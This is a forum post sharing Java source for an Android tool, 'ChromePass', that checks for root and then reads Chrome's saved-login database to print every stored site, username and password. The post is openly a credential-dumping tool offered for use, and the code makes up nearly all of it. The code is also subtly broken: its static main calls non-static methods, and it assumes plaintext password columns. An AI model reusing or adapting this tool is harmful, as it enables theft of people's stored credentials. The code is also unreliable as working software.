Login Register






Thread Rating:
  • 0 Vote(s) - 0 Average


[android] ChromePass filter_list
Author
Message
[android] ChromePass #1
This program prints out all Chrome passwords on Android devices. It requires root.

Code:
import android.database.Cursor;
import android.database.sqlite.SQLiteDatabase;

import java.io.File;

public class ChromePass
{
    public String CHROME_PATH = "/data/data/com.android.chrome/app_chrome/Default/Login Data";

    public static void main(String[] args)
    {
        if( isRootAvailable() )
        {
            if( isChromeAvailable() ) {
                doChrome();
            }
        }
    }
    
    public boolean isRootAvailable()
    {
        String[] paths = { "/sbin/su", "/system/bin/su", "/system/xbin/su",
                "/data/local/xbin/su", "/data/local/bin/su", "/system/sd/xbin/su",
                "/system/bin/failsafe/su", "/data/local/su" };
        for (String path : paths) {
            if ( new File(path).exists() ) {
                return true;
            }
        }
        return false;
    }

    public boolean isChromeAvailable()
    {
        if( new File(CHROME_PATH).exists() ) {
            return true;
        }
        return false;
    }

    public int doChrome()
    {
        String origin, username, password;

        SQLiteDatabase database = SQLiteDatabase.openDatabase(CHROME_PATH, null, SQLiteDatabase.OPEN_READONLY);

        if( database.isOpen() )
        {
            Cursor cursor = database.rawQuery("SELECT * FROM logins", null);

            if( cursor.moveToFirst() )
            {
                do {
                    origin = cursor.getString(0);
                    username = cursor.getString(3);
                    password = cursor.getString(5);

                    System.out.println("Origin: " + origin +
                                        "Username: " + username +
                                        "Password: " + password );

                } while (cursor.moveToNext() ) ;
                
                database.close();
            }
            else {
                return 2;
            }
        } else {
            return 1;
        }
        return 0;
    }
}
(This post was last modified: 08-15-2017, 05:14 AM by titbang.)

Reply







Users browsing this thread: 2 Guest(s)